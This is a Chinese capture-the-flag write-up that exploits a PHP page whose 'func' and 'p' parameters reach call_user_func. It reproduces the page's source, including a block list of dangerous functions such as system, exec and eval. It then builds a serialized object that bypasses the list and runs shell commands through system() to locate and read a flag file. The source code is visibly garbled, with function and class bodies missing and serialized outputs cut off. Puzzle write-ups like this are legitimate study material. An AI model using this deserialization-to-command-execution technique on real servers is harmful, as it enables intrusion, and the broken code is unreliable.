進來的頁面不對勁，雖然不知道什麼梗但是有一說一確實醜，如果注意一下還會發現這個頁面在不斷重新整理，先抓個包看看。
發現這裡上傳了兩個引數，分別是func和p。
func猜測是function,p應該是payload（猜的），那麼簡單明瞭的東西應該是乙個呼叫func上傳的函式名，引數採用p傳上來的引數。於是構造：
原始碼：
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) else
}class test }}
$func = $_request["func"];
$p = $_request["p"];
if ($func != null) else
}?>
call_user_func()函式，還是見得少了，大佬估計直接能看出來是這個函式，我還要靠猜。
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");system比較難受，但是問題不大，畢竟沒有禁file_get_contents、cat以及serialize。
這裡serialize才是重點（敲黑板！），畢竟原始碼裡給我們提供了乙個test類：
class test }}
<?php
class test }}
$a = new test();
// $a->p = 'ls ../../../'; ==> o:4:"test":2:
// $a -> p = "find / -name 'flag*'"; ⇒ o:4:"test":2:
$a -> p = 'cat /tmp/flagoefiu4r93'; // ==> o:4:"test":2:
$a -> func = 'system';
echo (serialize($a));
?>
p引數前後構造了三個payload，flag：
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